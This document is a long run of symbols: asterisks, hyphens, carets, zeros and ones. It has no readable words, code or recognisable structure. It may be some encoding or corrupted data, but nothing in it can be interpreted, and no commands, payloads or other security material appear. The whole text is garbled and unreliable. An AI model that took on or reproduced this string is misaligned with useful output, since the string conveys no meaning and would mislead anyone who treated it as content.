*--------1101^1*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110^-0^-11*1*011011**001*00--------10101101*-00101*001^1*11011*0101*001101*----------01*-00101*001^1*00-*01^1*11*******01010101*01011*********-********************10^1********001^1********00-**********011*********0010^1********0010^1********0101011*********10^1********1101^1********1101*0101*10101*001*1*********1*001*0-00-*001^1*001****01**0-010^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1******00-101*********00-1***01***1^1^1*********--------11***-00101*001^1*11011*01010^1*******00101101*010-0-*00--------0^1**-00101*001^1*^1101******-1101**1**^1^^1*****01**00101101**^^1*01*1*--------1^-1*-*0-*--------101101*00-00101*001^1*^1*0-11*********^1*010-^^110^10110^-1*^1**01******0011011**00101*001*011******0011**0010-**^1011******001***11011**1*101**011010-01*011*00--------1010101*0-00101*001^1**11*1101*00101****1***-00-11011011011******011**0011*101**--------^1011*0-00101*001^1*^1101*****001*101**101*001*010^1*****01**0110-1**1*001*01*1*1101**101*--------1^-1*-00^11*--------011*01*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110101101*0-11*1*011*1*0011**--------*00101*-00101*001^1*1*^1********-00-*00^-*001*1*0101*001101*--------1*1101*-00101*001^1*^110101*^--110-11*011*001*1*1*^1011*10-11*011*001*1*01^1*11*******^10101*01011*********11*********^^1********001*101*****************************0-01101********^101*********010-**********11*********10-********001*101********0-1101********0011*0101*10101*001*1*********-^1*0-00^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******010-01*****001**010^1***0101***1^1^1*********--------0^101*0-*10101*1^1*11********10101*01011********-*********00-*****************************************00101*00101*^11*001*1*011*001^1**11*01010^--------0010-1*-*0-*--------001^1*0-001011*0^1101*****0010^^-0^1*00^1^^1*****01**010101**001*01*001*1*********00101*010-*-^--01*^110-11**001101*^101*010-11*001****01*****0--*10^^110110-11*001*******-1*10--*110110-11*001*******-1*10--010-01*011*-*00--------001*01*-001011*0^1*0-11*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101*******010-1*10^11**11011******011**0011*101**--------00^101*-001011*0-01*--------0010-1*-0010-*--------1*1101*-001011*001011*********-*********001**0101*101*01^11*00^11010^-00-11*1*0110101**01*00--------^^11*-001011**-*0101*001101*********0-001********001*01********00-01********00^1*********0^1*********0-001********************11*1********010-*********-01*********101*0101*10^1*01011*0^11*001*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******-01********01010-1**00-***1^1^1******0--------0-1**-001011*0^1101*******1*10110-*001*010^101*110-11*001*001*1*01010^-*00--------1*11*00-001011*0^1*0-11*--------0010-1*-0011011*----------*00-001011*0^1101******01010110-***1*010^1*****001***11**00^-*001*1*********00101*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------11*11*0-001011*0^1101********010101101*00^1*^10-*0-11*011*001*1*1101*00101*******-^1*101*1**--------110-1*0-001011*00-1*1101*0-01*--------10110-*-00^1101*^^-11*1*^110-*-11*101*001*1*--------1*^1*-001011*001101*********-*********001**0101*101*01^11*00^1101*101*-11*1*011*1*0011**--------^10101*-001011*0^1*0-11*0101*001101*--------1^1101*-001011*0^1101******-01*-1011*001*010^1*01010-11*001*001*1*01^1*11*******-00101*01011********1*^1********-01*********1*01********00-0011********01101^1*********^1********0^1^1********-01*********-^1*******************1101^1********011*1*********11*0101*10^1*********0101^1*0-00-*001^1*001*******010101010--0011*001^1*001****01**0-010^--0101*001^1*001****01*****0--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******01101101*****001**00101****11***01^1^1*1*******0010101*********11*******00101*0010^1*****00^1*010^-********10^11***********1*******0010101*********11*******0^1*0-^11******1**101101*****00101*001010-*****************101^1*00^10101*0^^1*1*-----11010-10-11*00-00--------*-*00-00-01^1^1*^1*0-11*1010--010^1011*0-11*--------101*1*0-00-01^1^1*0-1**1**110^1**00--1^11*01^^1*1*--------0010101*0-00-01^1^1*0101*0-11*01^^1^1*-01*^10-11010^^1101*****00110-*01^11*001*010^1*****01**0011*1**^11010^1*1*--------*0-*0-00-01^1^1*^1101*********11*1*00^1*^1^10^-11**01^1*1*0^1*00110^1**00--101101*01^^1*1*^1*-010^-01^1^1*11011*01^^1^1**11*0101*00101****01**0^1*1^-0-10-11010^^1101********010^-*00^1*^1*0-0-11*00110^1*1*00^10-010^-01^1^1*00-*101**0110^1**00---101*01^^1*1**0110-010^-01^1^1*^110101011*0-11*1*^11*1*-11*1*1^1*1*01^^1^1*^11*010101*11*********00^1*1********1011011*********0-********001011011********00-*1**********01********1*1*********010101*********00-******************************01**********1*1*********1*011********00-*0101*10-01^1*1*-01^1^1*^11****-101101^^11**0-10-011*-010^10101^1^1*^1101********01^1101*00^1*^-^^-11**01^1*1*-----1^--01^110-1^^11010-01*101*001*1*0101*01*1*-0010-010^10101^1^1**11*0101*01^1**11010-01*0101*01*1*0^110-010^10101^1^1*00-*------0--11010^-11*-*01*1*1*1*1*1***-1010^10101^1^1*^1101*****00^1*110-101*00^1^^--010-11*0-0^1*1*1*1*1^1**11010-01*1*1*1*1********************-01********0011*1*******************************^1********00-01********0010101*******************00^1*0101*1010101^1*1*10101^1^1*01101****-101101^^11**0-10110101****01**00101*-101^1*^1*1*011****001**1^1^-101^11*******011**00101*0-*-*00101101011*00-10-1**1**********^1*001*1*^1*1*011****001**-01^-101101*0^1*1*01*^1*1*011****001**10101^-1011**^1*1*01*^1*1*011****001**^-00-10110-11*1*1*01*^1*1*01*^1^1*011****001***01^1^-0011*00------0--0110-*-001^1^1^1*1*1*-11*1*0^1^1*1*******0011**0010-0011*******1*11*00101*-1*1*1**00^1^1*1*******0011**0010-0011*******1*11*0010^^11*1*1*-11*1^1*1*******0011**0010-0011*******1*11*0010^-01*1*1*-----^--*001*00-001^1^1^1*0101*0-11*01^1*11*******1*11*00101*1011*1*1*^10-11010^^1101******-01101101*1*00^1^^1*****01**0^1101**1*-0^1*1*-----^--1*001*0-001^1^1^1*-01*-11*^1**1101*101*******0-01*010^10^^1*1*1********1^^10101*0--110^1*^1*01011*1*1*1010--0101*101*0-11*-----^--1*011*0-001^1^1^1*00-**1**1101*11*****1*00-1**0101*101*******00110^--001011*1*1*001****001**1011*00--00-1*1^1*1********1^^10^10-0101*******1011*0101********00--01*001*********0101011*001*0-*1*1*10-*1*1*-----^--0110^1*-001^1^1^1*^1101********00^^1*00^1*^-01*0-11**01^1*1*10-*1^1*110101******-10101*101******01**00^-*001******01****01*001*11****01**01*001*0101*0101*11011010^1*0010^11011***0^10-*00101*110101******110101*00101******1**01*1**001******1**00-101**1*0-*1*1*00-*1^1*110101******01***101******11***10101*001******11**-10-*001*01*001*1*1^1*1*1******01**0101*1010-0-010--0101**1*-11*-----^--1010-1*-001^1^1^1*00101*-11*^1**110^-*001*1*-----110--01***-001^1^1^1*^1101*011*-11*1*^1*11*-11*00110^1*1*-*001^1*011********011*0010^1^1*0^1*01101*0101*******00110^--001011*1*1*^11*1*1*-01*1*1*10101*0^1*1011*01*1*01011*1^1*1********1^^10^10-0101*******1011*0101******01**0-101**1******01**101011**01*^1*1*1*11011*1*1*-----110--001*1*0-001^1^1^1*^1*0-11*11011*1^1*110101******-10101*101******1**00-0-*001******1**00101*1*001*11****01**01*001*0101*0101*11011010^1*0010^1^-**00^^11*00101*110101******110101*00101******1******001******1**0-^1**1*^1*1*1*0110--010^10-*-----110----1*0-001^1^1^1*-01**1*00^11*0011*^1**110-11010^^1101********00-0-*00^1*^^-^-11*00110^1*1*-----110--*1^1*-001^1^1^1*^11**1*00^11*0-**1*0-----110--00^101*-001^1^1^1*01101*01011*1^1*0101*******00110^--0^11*1^1*1********1^^10^10-0101*******1011*0101*********1101011*001********0010-101*001*^1*1*1**11*1*1*-----110--101^11*-001^1^1^1*^1101*****001*010--001*00^1^^1*****01**00-^1*001*-0^1*1**11*1^1*110101******-10101*101******11***01011*001******11**00101101*001*11*******00101011*10^^-*011*010^10^^-*001*0011*10101^-11*110101******110101*00101******01**-*11*001******01***1*1*001*^1*1*1*-01*1^1*1********1^^10^10-0101*******1011*0101******11**0110-**1******11**10-**001*^1*1*1*01101*1*1*-----10---0101*00-001^1^1^1*1101101010-*1*^1********0-0101*001*0110^1*1*01101*1^1*110101******-10101*101******01**1101*1*001******01**-10-*001*11*******011**0010^10-*-*00101101011*00-^11**01********00-00101*00^110101******110101*00101******01**0-0101*001******01**1*0-*001*^1*1*1*-----10--10-011*0-001^1^1^1*11011*1*********00101**10101******001*00-^-0110101******01^101*101******11**-*1**1******11**01101**00^110101*******1011*0101*00-10-11*1^1*-11*0^1*1*1*00101*1*1*10101*0^1*-----10--10-^1*-001^1^1^1*^1101******11011*11*01*00^1^^1*****01***0-**01*-0^1*1*00101*1^1*110101******-10101*101******01**1*01**01******01**101*1**1*11****01**01*001*0101*0101*11011010^1*0010^--01**0^10-*00101*110101******110101*00101******01**00-011*001******01**1^^1*001*^1*1*1*1^1*1^1*0101*******00110^--0-----10--1^10-*-001^1^1^1*^1101******^101*010101*00^1^^1*****01***-01**1*-0^1*1**01*1^1*0101******00110110101^-0^110^-1**11010110101*******1^1*101******01**1^101**1******01**0-01**01*01*001*1*011****011**--01*101*********-1011*001********00110-01*001**1*0^1*--------010101*00-001^1^1^1**11**01*1^1*0101*******10110101^-*0110^1010110110101*******1^1*101******01***01101*001******01**101^11*001*01*001*1*011****01**01*011*0101******01**001^1**1******01***001**01**1*0^1*0110--0101*1011*--------*0011*0-001^1^1^1*^1101******00^^1*-*001*010^-001*-11*10110^1*1*0^1*1^11*-1*011*******10-11*0101******1***01^1*001******1**00101*1*001*^1*1^1*110101******01***101******01***1*1*001******01**-^11*001*01*001*1**01*1*1******011***1011*****0011**11*******01**00-011******1***10101*****01***1^11*****011**00110101*****011**00110101*****001**10110101********00-1***************************001**10-******011**00-1******11**^-1******1**1010101********0110-11*****001**-0^1*****011**00-1******1**0110101********00-1011******1**0-**********001101*****001**10-******01**01010-1*********11*101*101^1^1*1*1^1^1^1*1011*0-11*******1***0101*-001*1*1^1*-01*-----1010-1^--*-*1010^1^1*^1101********-01***1*010^1*****001**-0101**^11010^1*1*******1*00110^110-11*1101*0-*01*1**01*1^1*-1*01*1*------0--0-**-*1010^1^1*0101*0-11*******1***0-010-00-*001*1*------0--01101*00-*1010^1^1*0^1*-11*-*001^1*011*******-101*0010^-1*00^1*0-*00^1******001******0^1011*01*1*-1*01^1*0101*******00110^--00-*01^1*01101*------0-110^101*0-*1010^1^1*^1101**010-11*1*^1*****01**00^101**1**1^1*1******0101**-1*010-00-*001*1*-*001^1*011*******101101*0010^1011*00^1*01101*0011*00^1*------0--110-*0-*1010^1^1*^1101*********1^11*00^1*^-^110-11*1*1^1*1*01^1*101*******01*10-101101*********00^1101*0--^11*00^1*------0--110^1*-*1010^1^1*-1*0-11*01^1*101****01***-00-1011*11*01*1*^1*01*1*00110-11010^^1101*****00^11*-11011*001*010^10-1*-11*11010^1*1*------0--1101101*-*1010^1^1*11011**1**1101*101****01**-01^-1011*11*01*1*^1*01*1*1011*01^1*0101*******00110^--0------0--*1011*-*1010^1^1*0101101010-*1*^11*0110-11**01^1*1**1*01^1*011****001**00^1*00101*--0-11**01*-11**110^1010110110101*******1^1*101******1**0-01**001******1**00101011**1*11*****1**101**010^1*********001*00101^1****001**0011*00--0011****01**01*011*0101******1**0-1***1******1**011*11**1*001*00^1*-----^--11011**-*1010^1^1*^1*0-11*1*********00101**10101******001*00-^-0110101******01^101*101******1**01101***1******1**00101101**^1101*01*1*0011*00^1*1101*01^1*110101******01***101******11**^-01*001******11**0--1*001*11*****1**101**010^1*********001*00101^1****001**0011*00--*01*01*1******0011**00101*00-*101*01^1*01101*-----^--1101011*0-*1010^1^1*^1101******00-*00^11*00^1^^1*********-01*001*-0^1*1*^1*01^1*11*^1*1*0101****01**01101^-1011*101*0101******001*00-^-0011****011**0011*1*101*^11*1*11*1^-110^1*001*******************0^1*01*0^^11*11*^1*1*-----^--10^101*-*1010^1^1*1*^110^^-11*-10^1*1*0101****01**01101^-101^11****011**0011*1*101*^11*1*11*1^-0010101*001*******************011**1*0^^11*0101******001*00-^-0011****001***1^1*101*0-*01*11011**-1^^11***1*0101*11*^1*1*-----^--10-011*-*1010^1^1*01011*0101****01**01101^-101^11****001***1^1*101*0-*01*11011**00-00-00-1*001*0101*0101******001*00-^-0011*******00101011*10^^-*011*010^10^-001*00^^11**-00-11*11*^1*1*-----110--0101**0-*1010^1^1*0-1*0101****01**01101^-101^11*******00101011*10^^-*011*010^10-001101*001*1011*********0101^1*001*101******001*00-^-0011*******011**0010^10-*-*00101101011*00110101101**1*1^110-11*11*^1*1*-----110--110-*00-*1010^1^1*10-*0101****01**01101^-101^11*******011**00101*-1*-*00101101011*00---**1*1011*0101******001*00-^-0011****011**1*-*0101*-**^1*0010101^-1**^10-*******************001011*01*0^11*^1*1*-----110---1011*0-*1010^1^1*00-*-11*0101****01**01101^-101^11****011**1*-*0101*-**^1*0010101010^1**1*0-********************-*01*01*101******001*00-^-0011****01**01*001*0101*0101*11011010^1*0010^1101*01**^^11*00101*11*^1*1*-----110--10^101*-*1010^1^1*^1101*****00-10^101*1**^1^^1*****01**01**1*001*-0^1*1*0101****01**01101^-101^11****01**01*001*0101*0101*11011010^1*0010^-0^11**1*0011*00101*0101******001*00-^-0011****011**10-001*10^1101**-^1^^101101011*001*0101**11*-1*0-11*11*^1*1*-----110--1*0-*-*1010^1^1*^1101******1^-0010^1*001*010^1*****01***1^11*00^11010^1*1*0101****01**01101^-101^11****011**10-001*10^1101**-^1^^10^-1*001*0101*01011*00101*-11*0101******001*00-^-0011****011**0011*1*101*^11*1*110101^110^101**1*******************01**01*0^-01*11*^1*1*-----10--^^1*00-*1010^1^1*0011*0-11*0101****01**01101^-101^11****011**0011*1*101*^11*1*110101^-101011**1*******************0-1*01*01*0011*0101******001*00-^-0011****001***1^1*101*0011*01*11011**00-00^-011*001*0101*11*^1*1*11*^1^1*0101****01**10101^1^-*01*01^1*011*001*1******0^1**011*10-01^^^1^1*011**110--010^-01*-----10---11011*0-*1010^1^1*1011*0-11*^1**1101*11****01**011*01*0101******01**1*^1*001******01**-00-*00^-*001*1*-*001^1*011*******0-01*00101*11**^1*101**^1*01101*011*001^1*0101*******00110^--0101*001^1*01101*-----10--11*0101*-*1010^1^1*^1101*****0010^11*0^1**^1^^1********00-001*001*-0^1*1*001*001^1*0101*******010^1*101*1*******01011**0010------0--101*011*-*1010^1^1*01011*-11*001*001^1*0101*******010^1*101*1********11**0010-010--0101*1101*-11*-----10---011011*-*1010^1^1*^1101*-0011*^1********11010-*001*01****01**001**0--********001010101*001*01****01**0-010^--******00^1*101011*001*010^-001*-11*10110^1*1**101*^11*0011*^1*01010--0101*1101*-11*--------1101**0-*1010^1^1*^110101*^1********00110101*001*0110^1*1*1*^1********0-^1*001*0110^1*1**11*0^11*0-**1*01011*0110101******001*01*101******11**10-11**1******11**0^101**^-*00--------*-*00-*1010^1^1*^1101******010^10110101**1*010^1*****01**0101*11*00^11010^1*1*0011*0110101******001101*00101******11**00-**001******11**10^1**0^-*001101*0110101******11***101******11**0101*1*001******11**-01101*001*11****011**01*001*101*********1101101*001********00-*11*001******001*00110101*********1^101*****001**0-********************00-011*****011**0^1*********101*1*****001***-001********110-01*****011**00110101********0110101******01*001**1******1***101******1***11011*****01***-001******1**11*******11**01011******01**01*1******01**0^1101*****************1***011*****0011**01*11******1**1^-******1**01*01********00110-*****0011**1^1011*****001***00101*****01***-001*****01***011011*****01**0^11******011**01^-********-11*101*^1010^1*1*01010^1^1*11011*-11******00101*0110-00^-001**00--1*11*01^^1*1******00101*010-101*-*1^^1^1*01101********************001**********01**********01**********01*********0101*00101*1*010^1*1**10^1^1*01011*1*1^1^1*001****01**0-010^--*001^1^1*001****01**001**0--0-10^1^1*001*******0-11010--00-0^1^1*001****01**0^110^--010110^1^1*001*******-1*10--*110^1^1*001****01*****0--011010^1^1*001*******010101010--001101*01^1*1**11010^1*1******00101101*****001101***1***0^1**001^11011****10101*01*******01*00110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******01*00-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******10^101*101*11*******011**00101*-1*-*00101101011*00-010-**1**********0101*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^---------^11*0-*10101*1^1*11*******01*101*01011*****************************0-**********11*********00-*********00101*00101*10^1*01*1*^1*01^1*01011*01010^--------01^-*-00^1101*****00^--0110101*001*010^1*****01**001*001*00^-*001*1*--------^1011*0-*01*001^1*00-**********1*0--00^1101*01*01101101*011*-*******01****1**1*011*01^1^-11*1101*******01****1*001*101**011010-01*011**101****1**0110-0-11011011**11011******011**0011*101**--------^1^1*-*01*001^1*-01*--------1^-1*-*1011*---------00101*-*01*001^1*1*^--*-11*011*001*1*********0011*********01**0101*101*01^11*00^11010-0-0-11*1*011*1*00101*00--------001*11*-*01*001^1*^110^^-0-11*1*^-101*-11*101*001*1*0101*001101*********001^1*******************--1*********0^1*********-1********001*1*********001011*********00^1*********1011********00^1*0101*1*1*001*1*001*001^1*10-*-*001^1*001*******010101010--0011*001^1*001*******0-11010--0101*001^1*001****01*****0--001101*01^1*********1***-001*1******0^1101*********10-1***01***1^1^1******0--------1*001*0-001011*0-01*01010^-*00--------010^1*0-001011*0^1101*****00-01**11**001*010^11*1^-11*001*001*1*--------1^-1*-*101*0-11*--------01*11*0-001011**-*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------^-1*0-001011*010-*1101*00101******001^1011*10^11011******011**0011*101**--------0011*1*-001011*010-*1101*011**--------0010-1*-0011011*--------1101^1*-001011*00-1*********-*********001**0101*101*01^11*00^11010-0-0-11*1*011011**001*00--------1^1101*-001011*0-01*0101*001101*--------00-101*-001011*01101*0-11*01^1*11*******1*0101*01011********0-***********001********1*101********0101011********001*101********0-1011********00-11********001010101********001*001********101011********00-01********************011*0101*10^1**********1*1*0-*01*001^1*001*******010101010--001101*01^1*********1***-001*1*******01101********00^1011**0011***01^1^1***00-----10--10--1*-00101*001^1*^1101*****00-^10^1^1*00^1^^1*01^-11*-*001*1*01010^1*******0011**1010-0-*00--------1^-1*-*1011*--------10-**-00101*001^1*^1*0-11*********^1*0--00^11010^1*0110110^1011**1*******1**1011*1*00^1011**101^-11*0011*******101**1011**01*101**011010-01*011*00--------01*01*0-00101*001^1*1101101*011*1*^1********-01101*001*001*01*1*1101*00101*******101**010^11011******00-**11*-**11011******011**0011*101**--------10^11*0-00101*001^1*^1101*****001010-1^101**0^1^^1*****01**0-*01*00^-*001*1*1101**101*--------01^-*-00^1101*****0011*^1^101**^1^^1*****01**00110^1*00^-*001*1*---------1*1*-00101*001^1*^1101*****001010101^1*01*001*010^1********10110101*001*11*001*1*********10101*********1**0101*101*01^11*00^110^^1010-11*1*011*1*00101*00--------10101101*-00101*001^1*01011*0101*001101*----------01*-00101*001^1*0-1*01^1*11********00101*01011*********1011********001101101********0-*********01^101*********01011*********01011*********011*********10-101******************001101*1********1*101********01101*0101*10101*001*1*********1*001*0-*001*01^1*001****01*****0--0-*001^1*001****01**0^110^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1******0-0101*****001**011*1****1***1^1^1************-*001**010101*01011011**00110-***01********001*1********10101*11**0-0110101******001^^-11011011011******01*1*01101*0--101**0^1*********0-*010-0--------1101^-*-00^1101*****00-0011*^-*001*010^1********0-^1*00^1011*01*1*---------0011*0-*011*01^1*01101**********1*0010-*101****01**001011*00101*1**0^1*0101****01**1^1*-101^11****001**1*01*00101*11****001**11*010-10110-**11****001**-11**101*11****001**101*10-10110-**11**101****01**1^1*-101^11****001***001*00101*11****001**11*010-10110-**11****001**-11**101*11****001**101*10-10110-**11*00--------1^-1*-0010-*--------^-01*-*011*01^1*01011**********1*0^-*11****001**-*10-10110-*001101*00101****01**1^11*00101*1**0^1*********^1101*0-*********-101*******************01^1*********1^1*********1^1*******************0101*********00101*01*********1*0101*1*11*01*1*0011*01^1**11*-----10--10-1101*-00101*001^1*1*^1*****01**0-0^1*00^^1*01*1*********-1**0-00--------0^-1*-*011*0-11*-----10--1^11011*-00101*001^1*0-1**********1*0^-001**00--1^11*^1*0-----10--101010-*-00101*001^1*^110101101*0-11*1*^1*01010-11*-*001*1*1011*0-01*--------010^11*-00^1101010-00--0^-*0-11**110101^^--010-11*001****01**0^110^--01^^11*-0-11*001****01**0^110^--01*-0-11*001****01**0^110^--*****0011*1*001101**^1^^1*****01**00110^1*001*001*01*1*--------010101*00-00101*001^1*01011**********1*0^-001**00--101101*^1*0--------110-*00-00101*001^1*^1101******001^-001011*001*010^1*****01**0101*1**1*101*01*1*1011**011*0101*00101****01**0^1*1^-0--------1^-1*-*0011*--------0-101*0-00101*001^1*1*^--*-11*^1*01*1*********0011*0^-001**00---101*^1*0--------1^-*0-00101*001^1*^1101******^110101101**00^1^^1*****01***0011**01*001*01*1*1011*0^11*0011*00101****01***01^-1011*1*******110^110--0--------^10-*-00^110101*^-101*-11*-*001*1*1*^-0-10-11*-*001*1*--------10^101*-00101*001^1*1*^^1*10-11*011*001*1*********0011*0^-001**00--1*11*^1*0--------010-01*-00101*001^1*0011*0-11*1011*001101**********-11********0101*1********1^-*********0011********001^-1********0^101*********0-11********11011011********010^11*******************101*1********1101*********01011011********01011*0101*10101*001*1*101*001^1*^11*0101*01^1*001*******010101010--0^1*01^1*001*******0-11010--*01*01^1*001****01**0^110^--0-*001^1*001****01*****0--0011*001^1*001****01**001**0--01011*01^1*001*******-1*10--001101*01^1*********1***-001*1******00110101******1**010-****01**001^11011****10101*01*******1**110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1**-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******0-^1*101*11****011**0011*1*101*^11*1*110101^110-*1*001*******************0-*001*01*0011*01**0101******0011*01*0101*1*****1101*01^1*********1***-*1^10---------0101*00-*01*001^1*^1101*****001*0-*1*1*001*010^1*****01***1*01*00^101*001*1*01010^11011******0-1*01010-0-*00--------1^-1*-00-01*--------101^1*0-*01*001^1*11011**********1*0010-0010-01*011**1*0--------10-01*0-*01*001^1*^1*0-11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------0^-*0-*01*001^1*1101*0-11*1101*00101*******0-11*010^11011******011**0011*101**---------*01*-*01*001^1*1101*0-11*1101**101*--------1^-1*-*1101*--------*1^1*-*01*001^1**11**********1*********01**0101*101*01^11*00^110101^-0-11*1*011*1*0011**--------1*1101*-*01*001^1*-01*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11*******1101^1*01011********-0101********001*001********0011011********00-********************01*01********001*001********-1101********0^1*1********-011*********0011*********01*01*********11*0101*1*1*001*1*********101*1*0-00101*001^1*001*******010101010--001101*01^1*********1***-001*1******01010101*********010-**0011***01^1^1************-*01**0-*1^^1011**011*1***001********001*1*****010101*11**0-0110101******001^^-11011011011******01*1*01101*0--101**0^1*********0-*010-0---------^-1*-00^11*--------0101011*0-00^1*01^1*-01**********1*0010-*101****01**001011*00101*1**0^1*0101****01**1^1*-101^11****001**0^1**101*11****011**1*-*0101*-**^1*00101011*001**1*1011*******************0011**1*01*11****001**11*010-10110-**11****001**101*10-10110-**11*00--------^10-*-00^1101********01**1*00^1*^-001^-11*0101*01*1*--------^-01*-00^1*01^1*01011**********1*0^-*11****001**-*10-10110-*001101*00101****01**1^11*00101*1**0^1*********0110101*0-********001101101*********0011********************0011********00101********************01010-********0101**********001*0101*10^1*01*1*^1*01^1*11011*-----10--^--*-00101*001^1*10-**********1**0-00--------1^-1*-*-1*---------1**0-00101*001^1*^1*0-11*********^1*0^-001**00--1^11*^1*0--------1*01*00-00101*001^1*^1101*001*-11*1*^1*10^-11*-*001*1*1011*0-01*--------1^-1*-*1101*--------*-*00-00101*001^1*11011**********1*0^-001**00--101101*^1*0--------^^1*0-00101*001^1*0011*0-11*1011*0^11*0011*00101****01***01^-1011*1*******010^110--0--------^10-*-00^1101*****00^1^101^-*001*010^1010^10-11*011*001*1*---------1011*0-00101*001^1*^1101*****00^1^-110-*001*010^1010^10-11*011*001*1*********0^1*^-001**00--1*11*^1*0--------0101*1*-00101*001^1*00-*1011**011*0101*00101****01**0^1*1^-0--------1^-1*-*0-*--------*00101*-00101*001^1*^1101*****00-^10110^11*001*010^10-0010-11*011*001*1*********0^1*^-001**00---101*^1*0--------110-01*-00101*001^1*0-1*1011*001101*********00-11*********^101********0101**********-101********1*0011********0101*********0110-********001^^1********0101*********001^11*******************110101*********0^101********1011*0101*10101*001*1*101*001^1**11*-*001^1*001****01*****0--0011*001^1*001*******-1*10--00101*01^1*001****01**0-010^--001101*01^1*********1***-001*1*******10101*****001**0-01011**00-***1^11011****10101*01*********0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*********0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******^1^1*101*11****011**0011*1*101*^11*1*110101^110101*1*001*******************00-*01*01*0-*01**0101******0011*01*0101*1*****1101*01^1*********1***-*1^101********--------1^11*00-00101*001^1*0-1*01010^-*00--------1^-1*-*-1*--------11*01*0-00101*001^1*-01**********1*0--00^11010^1*01101101*011**1******001**01*101**^1011*********001*011*001*011*******1**01*101*001*101**011010-01*011*00--------0101011*0-00101*001^1**11*1101*00101****1**001**-1011011011******011**0011*^1*0011011******00-**11*-**11011******01011**11*101**--------0101*1*-00101*001^1**11*1101**101*--------1^-1*-0010-*--------0101^1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^11010110-00-11*1*011*1**-*0101*00--------10101101*-00101*001^1*0-1*0101*001101*----------01*-00101*001^1*11011*01^1*11*******0010^1*01011********11*11********0^-*********0011*********11*01********011*01********00-*********00^^1********11*01********011*11*********00^1******************001101*0101*10101*001*1*********1*001*0-*1101*01^1*********1***-001*1******01^101********0^11011***01***1^1^1******0--------1^1**-00101*001^1*1101*0-11*01010^1*******0011**0010-0-*00--------11*1*00-00101*001^1*1101*0-11*--------0^-1*-00^1*0-11*--------1^11*00-00101*001^1*01011**********1*010-^^110^101101010-*^1**01********1*011***01*011*******1**010^1**^1011*00-0110-11*0101**011010-01*011*00---------0101*0-00101*001^1*^1101******-0^-11011*001*010^1*01010-11**1*01*1*1101*00101******00^1*0-1011011**11011******011**0011*101**--------0110-*0-00101*001^1*1*^11*0110-11*-*001*1*1101**101*--------01^-*-00^1101*****00110101*1*001*001*010^1*****01**011***001*11*001*1*---------0^1*-00101*001^1*0-1**********1*********01**0101*101*01^11*00^1101011*110-11*1*0110101**01*00--------*01101*-00101*001^1*1101*0-11*0101*001101*--------110-01*-00101*001^1*01101*01^1*11*******1^^1*01011********^11*********1^101********001^101********101*1*******************0^-********00-*********010-001********0^-********01^101********010110101********0-**********11*0101*10101*001*1*********101*1*0-*001*01^1*001*******-1*10--0-*001^1*001****01**001**0--0011*001^1*001*******010101010--001101*01^1*********1***-001*1******00^101*****001**00-****101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*10101*11****001**-00^-101^11*00-----^10-101011011*-001011*00-0010-11*-----^10-101*-*-001011*001011*-11*--------01010-*-00^1101*-110-11*1*^1*****01**0-1011**^101*001*1*-----^10-1010-11*-001011*01*^10^1^-11*-*001*1*********1101*0^-001**00--^110^-11*-*00-----11010--11**0-001011**011*-11*1101*0-01*--------1^-1*-*0011*-11*-----11010-1*001*00-001011*0^1101******1***-11*001*010^110-*-11*001*001*1*********1*1*^-001**00--101101*-*00-----11010-1010-*00-001011*0^1101********0-^11*00^1*^10110-0-11*101*001*1*1101*00-1*011****001**01010^-101^11********-0-00-0011*00--------1^-1*-*-0^-11*-----11010---01*0-001011*0^1101*****0011**101*1**1*010^1*****001**101*1**1*001*01*1*********00101*^-001**00--110-*-*00-----11010-^-11*0-001011*001*010-11*1101*0^10^-11*011****001**01010^-101^11****01***110-1^-0011*00--------1^-1*-*1*010-11*-----11010-1^1^1*-001011**101010-11**********1*0^-001**00--1*10^-11*-*00-----11010--010101*-001011*001011*1101*001011*011****001**01010^-101^11*******-0^-00-0011*00--------0010-1*-*1011*-----11010-1101*11*-001011**-^-11**********1*0^-001**00--1^11*-*00-----11010-101101011*-001011*010-*1101*00-1*-11*011****001**01010^-101^11****01**0-^101^-0011*00--------0010-1*-0010-*-----11010-11*-1*-001011*010101^-11**********1*0^-001**00--110-*-11*-*00-----10110--***-001011*0^1101011010110-11*1*^1********010-01*001*11*001*1*1101*01*0^-11*011****001**01010^-101^11****01**0-001101^-0011*00--------1^-1*-*0101*-11*-----10110-1^101*00-001011*00-*0-11**********1*0^-001**00--1*00^-11*-*00-----10110--0-*00-001011*0101*10-11*1101*011011*011****001**01010^-101^11*******00-00-00-0011*00--------1^-1*-00101*10-11*-----10110--10101*0-001011*0^1101******00^^1*101*001*010^1*****01**00110101**1*001*01*1*********00101*^-001**00--101011*-*00-----10110-^10-*0-001011**1*10-11*1101*0-00^-11*011****001**01010^-101^11****01**0-00-1^-0011*00--------1^-1*-*01*10-11*-----10110-11*^1*-001011*0^110101*1010-11*1*^1********-01011*00^^1*01*1*********1*1*^-001**00--101^^-11*-*00-----10110-^110101*-001011*0^1101*****0010^10^^-*001*010^10-1*001*001*1*1101**110^-11*011****001**11010^-101^11*00--------01010-*-00^11010^-00-11*1*^1*****01**010-1**0^^1*01*1*-----10110-110101011*-001011*01*^1^10^-11*101*001*1*********1101*0^-001**00---010^-11*-*00-----10110-101010-*-001011**^^-11*1101**-*011****001**01010^-101^11*******11*10-00-0011*00--------10110-